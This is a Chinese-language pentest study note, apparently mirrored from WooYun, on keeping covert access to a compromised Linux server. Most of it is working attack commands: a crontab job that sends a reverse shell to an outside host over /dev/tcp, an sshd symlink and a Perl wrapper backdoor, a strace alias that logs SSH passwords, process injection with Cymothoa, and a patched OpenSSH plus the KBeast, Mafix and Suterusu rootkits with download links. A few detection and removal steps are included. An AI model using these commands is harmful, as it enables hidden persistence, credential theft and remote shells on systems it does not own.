作者:
L3m0n
·
2016/05/16 10:23
0x00 前言
前一段時間學習一小部分內網的小筆記,http://zone.wooyun.org/content/26415
結果沒想到好像還是比較受歡迎,也是第一次被劈雷。最近辦比賽遇上了rookit種植,感覺很無奈,所以自己也就研究了一下,內容都是一些以前的技術,也是為下面的筆記再次增加一章(windows下的域許可權維持可以多看看三好學生師傅的文章)。大牛飄過。
筆記地址:
https://github.com/l3m0n/pentest_study
測試環境:centos 6.5
0x01 crontab
計劃任務,永遠的愛
每60分鐘反彈一次shell給dns.wuyun.org的53埠
#!bash
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
0x02 硬連結sshd
上了防火牆的坑...測試前關閉一下吧
#!bash
service iptables stop
出現:ssh: connect to host 192.168.206.142 port 2333: No route to host
#!bash
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;
ssh [email protected] -p 2333
用root/bin/ftp/mail當使用者名稱,密碼任意
後門排查:
#!bash
netstat -anopt
查詢有問題的程式
#!bash
ps -ef | grep pid
ls -al /tmp/su
kill -9 pid
rm -rf /tmp/su
0x03 SSH Server wrapper
條件:開啟ssh,如果不連線是沒有埠程式的,而且last也看不到
#!bash
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
//不用重啟也行
/etc/init.d/sshd restart
kali下的執行
#!bash
socat STDIO TCP4:192.168.206.142:22,sourceport=13377
對於源埠的修改:
#!python
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
後門排查:
#!bash
netstat -anopt
//檢視一下sshd程式情況,如果發現不是/usr/sbin/目錄下面,就有問題
ll /proc/1786
cat /usr/sbin/sshd
還原:
#!bash
rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;
0x04 SSH keylogger
vim當前使用者下的.bashrc檔案,末尾新增
#!bash
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
然後使配置生效
#!bash
source .bashrc
當本地su或者ssh的時候,就會在tmp下面記錄(無論失敗成功都有記錄)
0x05 Cymothoa_程式注入backdoor
很讚的點是注入到的程式,只要有許可權就行,然後反彈的也就是程式相應的許可權(並不需要root那樣),當然程式重啟或者掛了也就沒了.當然動作也是很明顯的。
執行緒注入:
#!bash
./cymothoa -p 2270 -s 1 -y 7777
#!bash
nc -vv ip 7777
0x06openssh_rookit
下載地址:http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
先patch
#!bash
wget http://mirror.corbina.net/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
cp sshbd5.5p1.diff openssh-5.9p1/
cd openssh-5.9p1
patch < sshbd5.9p1.diff
安裝依賴
#!bash
yum install zlib-devel
yum install openssl-devel
yun install pam-devel
yun install krb5-lib(沒安裝)
修改includes.h
編譯安裝再重啟sshd服務
#!bash
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make && make install && service sshd restart
利用:
會記錄登入登出的ssh賬號密碼(錯誤的也會記錄),配置檔案中設定的密碼,也可以透過ssh然後root登陸。
發現:
找到可疑sshd並且檢視一下last的登陸ip,最後kill他們的程式,清除暫時不知
0x07 Kbeast_rootkit
http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
#!bash
tar -zxvf ipsecs-kbeast-v1.tar.gz
cd kbeast-v1/
vi config.h
重要配置:
#!cpp
//鍵盤記錄
#define _LOGFILE_ "acctlog"
//rookit產生的日誌配置檔案所儲存位置(此位置是被隱藏的)
#define _H4X_PATH_ "/usr/_h4x_"
//telnet埠(埠也是隱藏的,netstat是看不到的)
#define _HIDE_PORT_ 23333
//telnet的埠以及返回回來的使用者名稱(必須能呼叫/sh/bash,否則安裝會出現Network Daemon錯誤)
#define _RPASSWORD_ "lolloltest"
#define _MAGIC_NAME_ "root"
利用:
1、記錄:
2、telnet連線
- 缺點:重啟就會失效,需要放入啟動項
- 優點:相比上面都是需要ssh相關或者是有一個低許可權維持才能發揮的一個後門,這個是直接開放一個獨立的埠
發現:其實感覺修改一下程式名,發現還是有點麻煩
0x08 Mafix + Suterusu rookit
1、Mafix
#!bash
./root lolloltest 23333
這樣就會產生一個埠為23333,root密碼也可以用lolloltest登陸的ssh,埠不隱藏
這時候就可以用Suterusu配合使用
2、Suterusu
功能表:
#!bash
Get root
$ ./sock 0
Hide PID
$ ./sock 1 [pid]
Unhide PID
$ ./sock 2 [pid]
Hide TCPv4 port
$ ./sock 3 [port]
Unhide TCPv4 port
$ ./sock 4 [port]
Hide TCPv6 port
$ ./sock 5 [port]
Unhide TCPv6 port
$ ./sock 6 [port]
Hide UDPv4 port
$ ./sock 7 [port]
Unhide UDPv4 port
$ ./sock 8 [port]
Hide UDPv6 port
$ ./sock 9 [port]
Unhide UDPv6 port
$ ./sock 10 [port]
Hide file/directory
$ ./sock 11 [name]
Unhide file/directory
$ ./sock 12 [name]
編譯:
#!bash
make linux-x86 KDIR=/lib/modules/$(uname -r)/build
gcc sock.c -o sock
//載入模組
insmod suterusu.ko
結合Mafix使用(隱藏埠):
#!bash
./sock 3 [port]
0x09 參考資料
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!